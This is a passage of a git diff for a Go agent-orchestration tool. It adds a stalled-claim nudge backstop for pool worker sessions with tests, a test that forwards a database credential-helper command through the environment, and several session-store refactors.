+func TestCityRuntimeProcessEnvProjectsHostedBeadsCredentialCommand(t *testing.T) {
+	t.Setenv("GC_BEADS", "bd")
+	t.Setenv("GC_DOLT_CRED_CMD", "/usr/local/bin/eia-helper")
+	t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", "")
+	_ = os.Unsetenv("BEADS_DOLT_CREDENTIAL_COMMAND")
+	for _, k := range []string{"GC_DOLT_HOST", "GC_DOLT_PORT", "GC_DOLT_USER", "GC_DOLT_PASSWORD"} {
+		t.Setenv(k, "")
+		_ = os.Unsetenv(k)
+	}
+
+	cityPath := t.TempDir()
+	if err := os.MkdirAll(filepath.Join(cityPath, ".beads"), 0o700); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(cityPath, ".beads", "config.yaml"), []byte(`issue_prefix: e2e
+gc.endpoint_origin: city_canonical
+gc.endpoint_status: verified
+dolt.auto-start: false
+dolt.host: gw.beads.example.com
+dolt.port: 3306
+dolt.user: orchestrator
+`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	if !cityUsesBdStoreContract(cityPath) {
+		t.Fatalf("precondition: expected cityUsesBdStoreContract(cityPath)=true for the default bd provider")
+	}
+
+	env, err := cityRuntimeProcessEnvWithError(cityPath)
+	if err != nil {
+		t.Fatalf("cityRuntimeProcessEnvWithError() error = %v", err)
+	}
+	if got := hostedEnvEntriesToMap(env)["BEADS_DOLT_CREDENTIAL_COMMAND"]; got != "/usr/local/bin/eia-helper" {
+		t.Fatalf("BEADS_DOLT_CREDENTIAL_COMMAND = %q, want %q (projected from ambient GC_DOLT_CRED_CMD)", got, "/usr/local/bin/eia-helper")
+	}
+}
diff --git a/cmd/gc/idle_nudge.go b/cmd/gc/idle_nudge.go
new file mode 100644
index 0000000000..bf5188c7ba
--- /dev/null
+++ b/cmd/gc/idle_nudge.go
@@ -0,0 +1,216 @@
+package main
+
+import (
+	"fmt"
+	"io"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// Session-bead metadata keys for the stalled-claim backstop. The state machine
+// is PERSISTED on the pool slot's own session bead so it survives a controller
+// restart — the in-memory grace map of the reverted #312 nudger did not, which
+// is precisely why that one re-nudge-stormed on every restart (test-5il).
+const (
+	idleClaimNudgeTriggerKey = "idle_claim_nudge_trigger" // trigger bead id last acted on
+	idleClaimNudgeCountKey   = "idle_claim_nudge_count"   // nudges delivered for that trigger
+	idleClaimNudgeAtKey      = "idle_claim_nudge_at"      // RFC3339 of last attempt / first observation
+)
+
+// Backstop pacing. Deliberately slow: this only rescues a pool slot that was
+// handed work but never began it, so a couple of minutes of latency is fine and
+// keeps the backstop nowhere near anything that could read as churn.
+const (
+	idleClaimNudgeGrace       = 90 * time.Second // observe-before-first-nudge; lets a normal claim land
+	idleClaimNudgeBackoff     = 3 * time.Minute  // between retries when a delivered nudge didn't take
+	idleClaimNudgeMaxAttempts = 3                // then give up and log (manual re-nudge remains)
+)
+
+// nudgeStalledPoolClaims is a reconcile-tick backstop for runtimes the
+// controller is blind to (herdr). It re-delivers the claim nudge to a pool slot
+// that is running but whose assigned trigger bead is still UNCLAIMED (open, not
+// in_progress). Under herdr the startup nudge can be missed — a freshly-spawned
+// slot whose submit-CR was swallowed, or a warm slot that survived a `gc
+// restart` and was never re-Started — leaving the polecat idle at its prompt
+// with work it never began. tmux self-heals that through its relaunch/respawn
+// path (and reports activity), so it is gated out at the call site and never
+// runs here.
+//
+// Churn-free by construction — it inverts every failure mode that got the #312
+// idle-session nudger reverted:
+//   - Keys on bead state (trigger bead == open), never "idle for N minutes", so
+//     it is structurally invisible to a working agent: the instant a polecat
+//     claims, its trigger bead flips to in_progress and stops matching.
+//   - State is persisted on the session bead, so a restart cannot replay it.
+//   - Bounded per assignment: observe (grace) → nudge → backoff retries → give
+//     up. It never spams a tick and never loops forever.
+//   - Pool slots only.
+func nudgeStalledPoolClaims(
+	sp runtime.Provider,
+	cfg *config.City,
+	sessStore beads.SessionStore,
+	sessionBeads []beads.Bead,
+	assignedWork []beads.Bead,
+	now time.Time,
+	stdout io.Writer,
+) {
+	if sp == nil || cfg == nil || sessStore.Store == nil {
+		return // hot reconcile path: never panic on a half-built dependency
+	}
+	workByID := make(map[string]beads.Bead, len(assignedWork))
+	for _, w := range assignedWork {
+		workByID[w.ID] = w
+	}
+
+	for i := range sessionBeads {
+		s := &sessionBeads[i]
+		if strings.TrimSpace(s.Metadata["pool_managed"]) != "true" {
+			continue // pool slots only
+		}
+		sessName := strings.TrimSpace(s.Metadata["session_name"])
+		if sessName == "" || !sp.IsRunning(sessName) {
+			continue
+		}
+		triggerID := strings.TrimSpace(s.Metadata[beadmeta.TriggerBeadIDMetadataKey])
+		if triggerID == "" {
+			continue
+		}
+
+		// Act only while the trigger bead is genuinely unclaimed. A claimed bead
+		// is in_progress (or closed) — either way the slot is doing its job and
+		// must not be disturbed. If the bead is absent from the assigned-work
+		// snapshot it's been claimed/closed/moved; clear any stale marker.
+		w, ok := workByID[triggerID]
+		if !ok || !isUnclaimedTrigger(w, sessName) {
+			clearIdleClaimMarker(sessStore, s, stdout)
+			continue
+		}
+
+		markedTrigger := strings.TrimSpace(s.Metadata[idleClaimNudgeTriggerKey])
+		attempts := atoiOr0(s.Metadata[idleClaimNudgeCountKey])
+		last := parseRFC3339OrZero(s.Metadata[idleClaimNudgeAtKey])
+
+		// First observation of this assignment: start the grace clock, don't
+		// nudge yet — a normal claim almost always lands within the grace window.
+		if markedTrigger != triggerID {
+			writeIdleClaimMarker(sessStore, s, triggerID, 0, now, stdout)
+			continue
+		}
+		switch {
+		case attempts == 0:
+			if now.Sub(last) < idleClaimNudgeGrace {
+				continue // still inside the observe-first grace
+			}
+		case attempts >= idleClaimNudgeMaxAttempts:
+			continue // gave up; manual re-nudge is the escape hatch
+		default:
+			if now.Sub(last) < idleClaimNudgeBackoff {
+				continue // waiting out the backoff before the next retry
+			}
+		}
+
+		nudge := claimNudgeFor(cfg, *s)
+		if nudge == "" {
+			continue
+		}
+		if err := sp.Nudge(sessName, runtime.TextContent(nudge)); err != nil {
+			fmt.Fprintf(stdout, "idle-claim-nudge: %s failed: %v\n", sessName, err) //nolint:errcheck // best-effort
+			continue
+		}
+		fmt.Fprintf(stdout, "idle-claim-nudge: nudged %s to claim %s (attempt %d/%d)\n", sessName, triggerID, attempts+1, idleClaimNudgeMaxAttempts) //nolint:errcheck // best-effort
+		writeIdleClaimMarker(sessStore, s, triggerID, attempts+1, now, stdout)
+	}
+}
+
+// isUnclaimedTrigger reports whether the pool slot's trigger bead is still
+// waiting to be claimed: status open and not already assigned to this slot
+// (a non-empty assignee equal to the session means the claim is mid-flight).
+func isUnclaimedTrigger(w beads.Bead, sessName string) bool {
+	if !strings.EqualFold(strings.TrimSpace(w.Status), "open") {
+		return false // in_progress / closed / blocked → not ours to nudge
+	}
+	if assignee := strings.TrimSpace(w.Assignee); assignee != "" && assignee == sessName {
+		return false
+	}
+	return true
+}
+
+// claimNudgeFor resolves the slot's configured startup nudge (the polecat's
+// `gc hook --claim` line) from the agent template behind this session bead.
+func claimNudgeFor(cfg *config.City, session beads.Bead) string {
+	template := normalizedSessionTemplate(session, cfg)
+	if template == "" {
+		return ""
+	}
+	agent := findAgentByTemplate(cfg, template)
+	if agent == nil {
+		return ""
+	}
+	return strings.TrimSpace(agent.Nudge)
+}
+
+// writeIdleClaimMarker persists the backstop state machine onto the session
+// bead and mirrors it into the in-memory snapshot so the rest of this tick
+// reads the just-written values.
+func writeIdleClaimMarker(sessStore beads.SessionStore, s *beads.Bead, triggerID string, attempts int, now time.Time, stdout io.Writer) {
+	kvs := map[string]string{
+		idleClaimNudgeTriggerKey: triggerID,
+		idleClaimNudgeCountKey:   strconv.Itoa(attempts),
+		idleClaimNudgeAtKey:      now.UTC().Format(time.RFC3339),
+	}
+	if err := sessStore.SetMetadataBatch(s.ID, kvs); err != nil {
+		fmt.Fprintf(stdout, "idle-claim-nudge: marking %s failed: %v\n", s.ID, err) //nolint:errcheck // best-effort
+		return
+	}
+	if s.Metadata == nil {
+		s.Metadata = make(map[string]string, len(kvs))
+	}
+	for k, v := range kvs {
+		s.Metadata[k] = v
+	}
+}
+
+// clearIdleClaimMarker wipes the marker once the slot no longer has unclaimed
+// work, so the next assignment starts its grace clock fresh. No-op (no store
+// write) when there is nothing to clear, so steady-state ticks stay silent.
+func clearIdleClaimMarker(sessStore beads.SessionStore, s *beads.Bead, stdout io.Writer) {
+	if s.Metadata[idleClaimNudgeTriggerKey] == "" &&
+		s.Metadata[idleClaimNudgeCountKey] == "" &&
+		s.Metadata[idleClaimNudgeAtKey] == "" {
+		return
+	}
+	kvs := map[string]string{
+		idleClaimNudgeTriggerKey: "",
+		idleClaimNudgeCountKey:   "",
+		idleClaimNudgeAtKey:      "",
+	}
+	if err := sessStore.SetMetadataBatch(s.ID, kvs); err != nil {
+		fmt.Fprintf(stdout, "idle-claim-nudge: clearing %s failed: %v\n", s.ID, err) //nolint:errcheck // best-effort
+		return
+	}
+	for k := range kvs {
+		delete(s.Metadata, k)
+	}
+}
+
+func atoiOr0(s string) int {
+	n, err := strconv.Atoi(strings.TrimSpace(s))
+	if err != nil {
+		return 0
+	}
+	return n
+}
+
+func parseRFC3339OrZero(s string) time.Time {
+	t, err := time.Parse(time.RFC3339, strings.TrimSpace(s))
+	if err != nil {
+		return time.Time{}
+	}
+	return t
+}
diff --git a/cmd/gc/idle_nudge_test.go b/cmd/gc/idle_nudge_test.go
new file mode 100644
index 0000000000..139074a96f
--- /dev/null
+++ b/cmd/gc/idle_nudge_test.go
@@ -0,0 +1,135 @@
+package main
+
+import (
+	"bytes"
+	"context"
+	"strconv"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+func idleClaimTestCfg() *config.City {
+	return &config.City{Agents: []config.Agent{{
+		Name:  "polecat",
+		Nudge: "Run gc hook --claim --json now; if it returns work, execute the claimed formula immediately.",
+	}}}
+}
+
+func idleClaimPoolSession() beads.Bead {
+	return beads.Bead{
+		ID:     "s-1",
+		Status: "open",
+		Type:   "session",
+		Metadata: map[string]string{
+			"session_name":                    "worker-1",
+			"pool_managed":                    "true",
+			"template":                        "polecat",
+			beadmeta.TriggerBeadIDMetadataKey: "w-1",
+		},
+	}
+}
+
+func runningFake(t *testing.T) *runtime.Fake {
+	t.Helper()
+	sp := runtime.NewFake()
+	if err := sp.Start(context.TODO(), "worker-1", runtime.Config{}); err != nil {
+		t.Fatalf("fake start: %v", err)
+	}
+	return sp
+}
+
+// A slot handed work it never claimed (trigger bead still open) is observed on
+// the first tick (grace), then nudged once the grace elapses.
+func TestNudgeStalledPoolClaims_NudgesAfterGrace(t *testing.T) {
+	sp := runningFake(t)
+	cfg := idleClaimTestCfg()
+	sessions := []beads.Bead{idleClaimPoolSession()}
+	work := []beads.Bead{{ID: "w-1", Status: "open"}} // unclaimed
+	store := beads.SessionStore{Store: beads.NewMemStoreFrom(0, sessions, nil)}
+	base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
+	var out bytes.Buffer
+
+	// First tick: observe only — start the grace clock, no nudge.
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base, &out)
+	if out.Len() != 0 {
+		t.Fatalf("first tick should not nudge (grace): %q", out.String())
+	}
+	if got := sessions[0].Metadata[idleClaimNudgeTriggerKey]; got != "w-1" {
+		t.Fatalf("expected marker trigger w-1, got %q", got)
+	}
+
+	// Past grace: nudge, and bump the attempt count.
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base.Add(idleClaimNudgeGrace+time.Second), &out)
+	if !bytes.Contains(out.Bytes(), []byte("nudged worker-1 to claim w-1")) {
+		t.Fatalf("expected nudge past grace, got: %q", out.String())
+	}
+	if got := sessions[0].Metadata[idleClaimNudgeCountKey]; got != "1" {
+		t.Fatalf("expected attempt count 1, got %q", got)
+	}
+}
+
+// The instant a slot claims (trigger bead flips to in_progress) it must never be
+// touched — this is the inversion that the reverted #312 nudger got wrong.
+func TestNudgeStalledPoolClaims_NeverTouchesWorkingSlot(t *testing.T) {
+	sp := runningFake(t)
+	cfg := idleClaimTestCfg()
+	sessions := []beads.Bead{idleClaimPoolSession()}
+	work := []beads.Bead{{ID: "w-1", Status: "in_progress", Assignee: "worker-1"}}
+	store := beads.SessionStore{Store: beads.NewMemStoreFrom(0, sessions, nil)}
+	base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
+	var out bytes.Buffer
+
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base, &out)
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base.Add(time.Hour), &out)
+	if out.Len() != 0 {
+		t.Fatalf("must not nudge a working slot: %q", out.String())
+	}
+	if got := sessions[0].Metadata[idleClaimNudgeTriggerKey]; got != "" {
+		t.Fatalf("marker should stay clear for a claimed bead, got %q", got)
+	}
+}
+
+// After the attempt cap is reached the backstop gives up — bounded, never an
+// every-tick loop.
+func TestNudgeStalledPoolClaims_GivesUpAtCap(t *testing.T) {
+	sp := runningFake(t)
+	cfg := idleClaimTestCfg()
+	base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
+	s := idleClaimPoolSession()
+	s.Metadata[idleClaimNudgeTriggerKey] = "w-1"
+	s.Metadata[idleClaimNudgeCountKey] = strconv.Itoa(idleClaimNudgeMaxAttempts)
+	s.Metadata[idleClaimNudgeAtKey] = base.Format(time.RFC3339)
+	sessions := []beads.Bead{s}
+	work := []beads.Bead{{ID: "w-1", Status: "open"}}
+	store := beads.SessionStore{Store: beads.NewMemStoreFrom(0, sessions, nil)}
+	var out bytes.Buffer
+
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base.Add(time.Hour), &out)
+	if out.Len() != 0 {
+		t.Fatalf("must not nudge past the attempt cap: %q", out.String())
+	}
+}
+
+// A non-pool session is ignored entirely.
+func TestNudgeStalledPoolClaims_SkipsNonPool(t *testing.T) {
+	sp := runningFake(t)
+	cfg := idleClaimTestCfg()
+	s := idleClaimPoolSession()
+	delete(s.Metadata, "pool_managed")
+	sessions := []beads.Bead{s}
+	work := []beads.Bead{{ID: "w-1", Status: "open"}}
+	store := beads.SessionStore{Store: beads.NewMemStoreFrom(0, sessions, nil)}
+	base := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
+	var out bytes.Buffer
+
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base, &out)
+	nudgeStalledPoolClaims(sp, cfg, store, sessions, work, base.Add(time.Hour), &out)
+	if out.Len() != 0 {
+		t.Fatalf("must not touch a non-pool session: %q", out.String())
+	}
+}
diff --git a/cmd/gc/import_state_doctor_check.go b/cmd/gc/import_state_doctor_check.go
index 1bfc721cb3..335822a8ce 100644
--- a/cmd/gc/import_state_doctor_check.go
+++ b/cmd/gc/import_state_doctor_check.go
@@ -42,7 +42,7 @@ func (c *importStateDoctorCheck) Name() string { return "packv2-import-state" }
 func (c *importStateDoctorCheck) Run(_ *doctor.CheckContext) *doctor.CheckResult {
 	r := &doctor.CheckResult{Name: c.Name()}
 
-	imports, err := collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+	imports, err := collectAllImportsFS(c.cityPath)
 	if err != nil {
 		r.Status = doctor.StatusError
 		r.Message = fmt.Sprintf("reading declared imports: %v", err)
@@ -109,7 +109,7 @@ func durableRegistryImportDetails(imports map[string]config.Import) []string {
 func (c *importStateDoctorCheck) CanFix() bool { return true }
 
 func (c *importStateDoctorCheck) Fix(_ *doctor.CheckContext) error {
-	imports, err := collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+	imports, err := collectAllImportsFS(c.cityPath)
 	if err != nil {
 		return fmt.Errorf("reading declared imports: %w", err)
 	}
@@ -124,7 +124,7 @@ func (c *importStateDoctorCheck) Fix(_ *doctor.CheckContext) error {
 		if _, err := rewriteLegacyPublicPackImportsFS(fsys.OSFS{}, c.cityPath, targets); err != nil {
 			return err
 		}
-		imports, err = collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+		imports, err = collectAllImportsFS(c.cityPath)
 		if err != nil {
 			return fmt.Errorf("reading migrated imports: %w", err)
 		}
@@ -133,7 +133,7 @@ func (c *importStateDoctorCheck) Fix(_ *doctor.CheckContext) error {
 		if err := rewriteSupersededBundledPinsFS(fsys.OSFS{}, c.cityPath); err != nil {
 			return err
 		}
-		imports, err = collectAllImportsFS(fsys.OSFS{}, c.cityPath)
+		imports, err = collectAllImportsFS(c.cityPath)
 		if err != nil {
 			return fmt.Errorf("reading re-pinned imports: %w", err)
 		}
diff --git a/cmd/gc/init_provider_readiness.go b/cmd/gc/init_provider_readiness.go
index 41117b30a2..00aac8102d 100644
--- a/cmd/gc/init_provider_readiness.go
+++ b/cmd/gc/init_provider_readiness.go
@@ -238,7 +238,7 @@ func runInitProviderPreflightForConfig(cityPath string, cfg *config.City, stdout
 }
 
 func initHasRemoteImports(cityPath string) (bool, error) {
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		return false, err
 	}
diff --git a/cmd/gc/json_schema_test.go b/cmd/gc/json_schema_test.go
index cf253de2ab..480d551946 100644
--- a/cmd/gc/json_schema_test.go
+++ b/cmd/gc/json_schema_test.go
@@ -591,6 +591,16 @@ func TestJSONContractAllowsBdPassthrough(t *testing.T) {
 	}
 }
 
+func TestJSONContractAllowsHookClaimJSON(t *testing.T) {
+	var stdout, stderr bytes.Buffer
+	root := newRootCmd(&stdout, &stderr)
+
+	handled, code := handleJSONContractRequest(root, []string{"hook", "--claim", "--json"}, &stdout, &stderr)
+	if handled || code != 0 {
+		t.Fatalf("handled=%v code=%d stdout=%q stderr=%q", handled, code, stdout.String(), stderr.String())
+	}
+}
+
 func TestJSONSchemaManifestForBdPassthrough(t *testing.T) {
 	var stdout, stderr bytes.Buffer
 	code := run([]string{"bd", "--json-schema"}, &stdout, &stderr)
diff --git a/cmd/gc/legacy_pack_preflight.go b/cmd/gc/legacy_pack_preflight.go
index 25171256b6..3102660e9a 100644
--- a/cmd/gc/legacy_pack_preflight.go
+++ b/cmd/gc/legacy_pack_preflight.go
@@ -88,7 +88,7 @@ func ensureBundledLockedRemoteImportsCached(cityPath string) error {
 		if builtinpacks.ValidateSyntheticRepo(cachePath, imp.commit) == nil {
 			continue
 		}
-		if _, err := packman.EnsureRepoInCache(imp.source, imp.commit); err != nil {
+		if _, err := packman.EnsureRepoInCache(cityPath, imp.source, imp.commit); err != nil {
 			return fmt.Errorf("caching bundled import %q from packs.lock: %w", imp.source, err)
 		}
 	}
@@ -124,7 +124,7 @@ func lockedBundledImportsUsable(cityPath string) bool {
 var ensureInitRemoteImportsInstalled = installInitRemoteImports
 
 func installInitRemoteImports(cityPath string) error {
-	allImports, err := collectAllImportsFS(fsys.OSFS{}, cityPath)
+	allImports, err := collectAllImportsFS(cityPath)
 	if err != nil {
 		return err
 	}
diff --git a/cmd/gc/main.go b/cmd/gc/main.go
index ec8e06e988..eb91657727 100644
--- a/cmd/gc/main.go
+++ b/cmd/gc/main.go
@@ -299,6 +299,7 @@ func newRootCmd(stdout, stderr io.Writer) *cobra.Command {
 		newShellCmd(stdout, stderr),
 		newAnalyzeCmd(stdout, stderr),
 		newCostsCmd(stdout, stderr),
+		newGitCredentialCmd(stdout, stderr),
 	)
 	// gen-doc needs the root command to walk the tree; add after construction.
 	root.AddCommand(newGenDocCmd(stdout, stderr, root))
diff --git a/cmd/gc/main_test.go b/cmd/gc/main_test.go
index 7758e95086..6f6becef38 100644
--- a/cmd/gc/main_test.go
+++ b/cmd/gc/main_test.go
@@ -2784,12 +2784,21 @@ func TestDoInitWritesExpectedTOML(t *testing.T) {
 		t.Fatalf("doInit = %d, want 0; stderr: %s", code, stderr.String())
 	}
 
-	// city.toml keeps only the runtime-local [workspace]; builtin packs
-	// compose via pinned [imports] in pack.toml. workspace.name lives in
-	// .gc/site.toml.
+	// city.toml keeps the runtime-local [workspace] plus the canonical
+	// default-rig imports: the gascity template seeds the gc-roles pack (bound
+	// "gc") so rigs added to the city inherit the role agents the built-in
+	// formulas route to (gascity#3832). Builtin packs compose via pinned
+	// [imports] in pack.toml; workspace.name lives in .gc/site.toml.
 	got := string(f.Files[filepath.Join("/bright-lights", "city.toml")])
 	want := `[workspace]
 
+[defaults]
+[defaults.rig]
+[defaults.rig.imports]
+[defaults.rig.imports.gc]
+source = "` + config.PublicGascityRolesPackSource + `"
+version = "` + config.PublicGascityPackVersion + `"
+
 # [mail]
 # retention_ttl controls how long read messages are retained before purge.
 # 0 disables retention; use "168h" for 7 days.
diff --git a/cmd/gc/mcp_integration.go b/cmd/gc/mcp_integration.go
index 864d0323b0..4c34783ce8 100644
--- a/cmd/gc/mcp_integration.go
+++ b/cmd/gc/mcp_integration.go
@@ -8,11 +8,10 @@ import (
 	"sort"
 	"strings"
 
-	"github.com/gastownhall/gascity/internal/beadmeta"
-	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/fsys"
 	"github.com/gastownhall/gascity/internal/materialize"
+	"github.com/gastownhall/gascity/internal/session"
 	"github.com/gastownhall/gascity/internal/shellquote"
 )
 
@@ -368,16 +367,19 @@ func resolveConfiguredAgentMCPProjection(
 func resolveSessionMCPProjection(
 	cityPath string,
 	cfg *config.City,
-	store beads.Store,
+	sessFront *session.Store,
 	sessionID string,
 	lookPath config.LookPathFunc,
 ) (resolvedMCPProjection, error) {
 	if cfg == nil {
 		return resolvedMCPProjection{}, fmt.Errorf("city config unavailable")
 	}
-	if store == nil {
+	if !sessFront.Backed() {
 		return resolvedMCPProjection{}, fmt.Errorf("session store unavailable")
 	}
+	// Reach the raw session-class store the front door wraps for the named-session
+	// resolver and the by-id load; same underlying store, so behavior is unchanged.
+	store := sessFront.Store().Store
 	id, err := resolveSessionIDAllowClosedWithConfig(cityPath, cfg, store, sessionID)
 	if err != nil {
 		return resolvedMCPProjection{}, err
@@ -386,29 +388,30 @@ func resolveSessionMCPProjection(
 	if err != nil {
 		return resolvedMCPProjection{}, fmt.Errorf("loading session %q: %w", sessionID, err)
 	}
+	info := session.InfoFromPersistedBead(bead)
 	template := normalizedSessionTemplate(bead, cfg)
 	if template == "" {
-		template = strings.TrimSpace(bead.Metadata["agent_name"])
+		template = strings.TrimSpace(info.AgentName)
 	}
 	template = resolveAgentTemplate(template, cfg)
 	agent := findAgentByTemplate(cfg, template)
 	if agent == nil {
 		return resolvedMCPProjection{}, fmt.Errorf("session %q maps to unknown agent template %q", sessionID, template)
 	}
-	identity := strings.TrimSpace(bead.Metadata["agent_name"])
+	identity := strings.TrimSpace(info.AgentName)
 	if identity == "" {
 		identity = agent.QualifiedName()
 	}
-	workDir := strings.TrimSpace(bead.Metadata[beadmeta.LegacyWorkDirMetadataKey])
+	workDir := strings.TrimSpace(info.WorkDir)
 	if workDir == "" {
 		workDir, err = resolveWorkDirForQualifiedName(cityPath, cfg, agent, identity)
 		if err != nil {
 			return resolvedMCPProjection{}, fmt.Errorf("resolving workdir for session %q: %w", sessionID, err)
 		}
 	}
-	providerKind := strings.TrimSpace(bead.Metadata["provider_kind"])
+	providerKind := strings.TrimSpace(info.ProviderKind)
 	if providerKind == "" {
-		providerKind = strings.TrimSpace(bead.Metadata["provider"])
+		providerKind = strings.TrimSpace(info.Provider)
 	}
 	return resolveProjectedMCPForTarget(cityPath, cfg, agent, identity, workDir, providerKind, lookPath)
 }
diff --git a/cmd/gc/named_sessions.go b/cmd/gc/named_sessions.go
index 2c7d68cec1..eea9bf70fd 100644
--- a/cmd/gc/named_sessions.go
+++ b/cmd/gc/named_sessions.go
@@ -42,10 +42,24 @@ func isNamedSessionBead(b beads.Bead) bool {
 	return session.IsNamedSessionBead(b)
 }
 
+// isNamedSessionInfo is the session.Info mirror of isNamedSessionBead:
+// session.IsNamedSessionBead reads the trimmed configured_named_session flag,
+// which Info.ConfiguredNamedSession already projects identically.
+func isNamedSessionInfo(i session.Info) bool {
+	return i.ConfiguredNamedSession
+}
+
 func namedSessionIdentity(b beads.Bead) string {
 	return session.NamedSessionIdentity(b)
 }
 
+// namedSessionIdentityInfo is the session.Info mirror of namedSessionIdentity:
+// session.NamedSessionIdentityInfo reads the trimmed configured_named_identity,
+// which Info.ConfiguredNamedIdentity carries verbatim.
+func namedSessionIdentityInfo(i session.Info) string {
+	return session.NamedSessionIdentityInfo(i)
+}
+
 func configuredNamedSessionBeadHasSpec(b beads.Bead, cfg *config.City, cityName string) bool {
 	if cfg == nil || !isNamedSessionBead(b) {
 		return false
@@ -58,6 +72,22 @@ func configuredNamedSessionBeadHasSpec(b beads.Bead, cfg *config.City, cityName
 	return ok
 }
 
+// configuredNamedSessionBeadHasSpecInfo is the session.Info mirror of
+// configuredNamedSessionBeadHasSpec: isNamedSessionInfo and namedSessionIdentityInfo
+// are the equivalence-proven siblings, and findNamedSessionSpec keys off the
+// projected identity string identically.
+func configuredNamedSessionBeadHasSpecInfo(i session.Info, cfg *config.City, cityName string) bool {
+	if cfg == nil || !isNamedSessionInfo(i) {
+		return false
+	}
+	identity := namedSessionIdentityInfo(i)
+	if identity == "" {
+		return false
+	}
+	_, ok := findNamedSessionSpec(cfg, cityName, identity)
+	return ok
+}
+
 func namedSessionMode(b beads.Bead) string {
 	return session.NamedSessionMode(b)
 }
@@ -66,11 +96,11 @@ func namedSessionContinuityEligible(b beads.Bead) bool {
 	return session.NamedSessionContinuityEligible(b)
 }
 
-func findCanonicalNamedSessionBead(sessionBeads *sessionBeadSnapshot, spec namedSessionSpec) (beads.Bead, bool) {
+func findCanonicalNamedSessionInfo(sessionBeads *sessionBeadSnapshot, spec namedSessionSpec) (session.Info, bool) {
 	if sessionBeads == nil {
-		return beads.Bead{}, false
+		return session.Info{}, false
 	}
-	return session.FindCanonicalNamedSessionBead(sessionBeads.Open(), spec)
+	return session.FindCanonicalNamedSessionInfo(sessionBeads.OpenInfos(), spec)
 }
 
 // findClosedNamedSessionBead searches for a closed bead that was previously
@@ -87,11 +117,11 @@ func findClosedNamedSessionBeadForSessionName(store beads.Store, identity, sessi
 	return bead, ok
 }
 
-func findNamedSessionConflict(sessionBeads *sessionBeadSnapshot, spec namedSessionSpec) (beads.Bead, bool) {
+func findNamedSessionConflictInfo(sessionBeads *sessionBeadSnapshot, spec namedSessionSpec) (session.Info, bool) {
 	if sessionBeads == nil {
-		return beads.Bead{}, false
+		return session.Info{}, false
 	}
-	return session.FindNamedSessionConflict(sessionBeads.Open(), spec)
+	return session.FindNamedSessionConflictInfo(sessionBeads.OpenInfos(), spec)
 }
 
 func findConflictingNamedSessionSpecForBead(cfg *config.City, cityName string, b beads.Bead) (namedSessionSpec, bool, error) {
diff --git a/cmd/gc/nudge_dispatcher.go b/cmd/gc/nudge_dispatcher.go
index 8041a61c06..24a675e310 100644
--- a/cmd/gc/nudge_dispatcher.go
+++ b/cmd/gc/nudge_dispatcher.go
@@ -112,7 +112,7 @@ func startNudgeWakeListener(ctx context.Context, cityPath string, wakeCh chan<-
 //
 // This is a no-op when the dispatcher is configured for "legacy" mode —
 // the per-session `gc nudge poll` processes own delivery in that case.
-func dispatchAllQueuedNudges(cityPath string, cfg *config.City, store beads.Store, sp runtime.Provider, sessionBeads *sessionBeadSnapshot) (int, error) {
+func dispatchAllQueuedNudges(cityPath string, cfg *config.City, store, sessStore beads.Store, sp runtime.Provider, sessionBeads *sessionBeadSnapshot) (int, error) {
 	if cfg == nil || sessionBeads == nil || cityPath == "" {
 		return 0, nil
 	}
@@ -153,10 +153,18 @@ func dispatchAllQueuedNudges(cityPath string, cfg *config.City, store beads.Stor
 		return 0, nil
 	}
 
+	// The dispatcher receives the nudges-class store (store) PLUS the session-class
+	// store (sessStore) the caller resolved from the WORK store — the controller
+	// threads cr.sessionsBeadStore().Store, whose fallback is the work store, NOT
+	// the nudges store. The session observe below and the queue-delivery path's
+	// session ops route through sessStore; the queue record/dead-letter stays on
+	// store. Identity today; corrects the pre-existing controller-side class mix
+	// (deriving sessStore from the nudges base would mis-resolve session beads once
+	// nudges relocates independently of sessions).
 	delivered := 0
 	var firstErr error
-	for _, b := range sessionBeads.Open() {
-		target := resolveNudgeTargetFromSessionBead(cityPath, cfg, b)
+	for _, info := range sessionBeads.OpenInfos() {
+		target := resolveNudgeTargetFromSessionInfo(cityPath, cfg, info)
 		if target.sessionName == "" {
 			continue
 		}
@@ -176,7 +184,7 @@ func dispatchAllQueuedNudges(cityPath string, cfg *config.City, store beads.Stor
 		if !matched {
 			continue
 		}
-		obs, err := workerObserveNudgeTarget(target, store, sp)
+		obs, err := workerObserveNudgeTarget(target, sessStore, sp)
 		if err != nil {
 			if firstErr == nil {
 				firstErr = err
@@ -186,7 +194,7 @@ func dispatchAllQueuedNudges(cityPath string, cfg *config.City, store beads.Stor
 		if !obs.Running {
 			continue
 		}
-		ok, err := tryDeliverQueuedNudgesByPoller(target, store, sp, defaultNudgePollQuiescence, obs)
+		ok, err := tryDeliverQueuedNudgesByPoller(target, store, sessStore, sp, defaultNudgePollQuiescence, obs)
 		if err != nil && firstErr == nil {
 			firstErr = err
 		}
diff --git a/cmd/gc/nudge_dispatcher_test.go b/cmd/gc/nudge_dispatcher_test.go
index b4aa42ea4c..144e6af581 100644
